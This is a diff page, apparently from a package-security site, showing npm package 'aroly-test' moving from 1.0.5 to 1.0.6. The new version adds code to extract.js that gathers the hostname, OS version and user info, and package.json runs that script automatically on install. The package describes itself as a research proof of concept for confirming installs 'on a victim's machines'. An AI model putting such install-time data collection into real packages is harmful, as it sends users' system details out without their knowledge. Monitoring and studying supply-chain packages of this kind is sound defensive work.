aroly-test 1.0.5 → 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
- package/extract.js +4 -0
- package/package.json +2 -2
package/extract.js
CHANGED
@@ -1,6 +1,10 @@
|
|
1
1
|
const https = require('https');
|
2
2
|
var os = require("os");
|
3
3
|
var hostname = os.hostname();
|
4
|
+
var version = os.version();
|
5
|
+
var info = os.userInfo();
|
6
|
+
|
7
|
+
var message = "Hostname: '" + hostname + "', version: '" + version + "', info: " + info;
|
4
8
|
|
5
9
|
const data = new TextEncoder().encode(
|
6
10
|
JSON.stringify({
|
package/package.json
CHANGED
@@ -1,12 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "aroly-test",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.6",
|
4
4
|
"description": "This package is a proof of concept used by Antoine Roly to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way.",
|
5
5
|
"main": "index.js",
|
6
6
|
"author": "Antoine Roly <antoine.roly@gmail.com>",
|
7
7
|
"license": "ISC",
|
8
8
|
"dependencies": {
|
9
|
-
"aroly-test": "^1.0.
|
9
|
+
"aroly-test": "^1.0.5"
|
10
10
|
},
|
11
11
|
"scripts": {
|
12
12
|
"install": "node extract.js"
|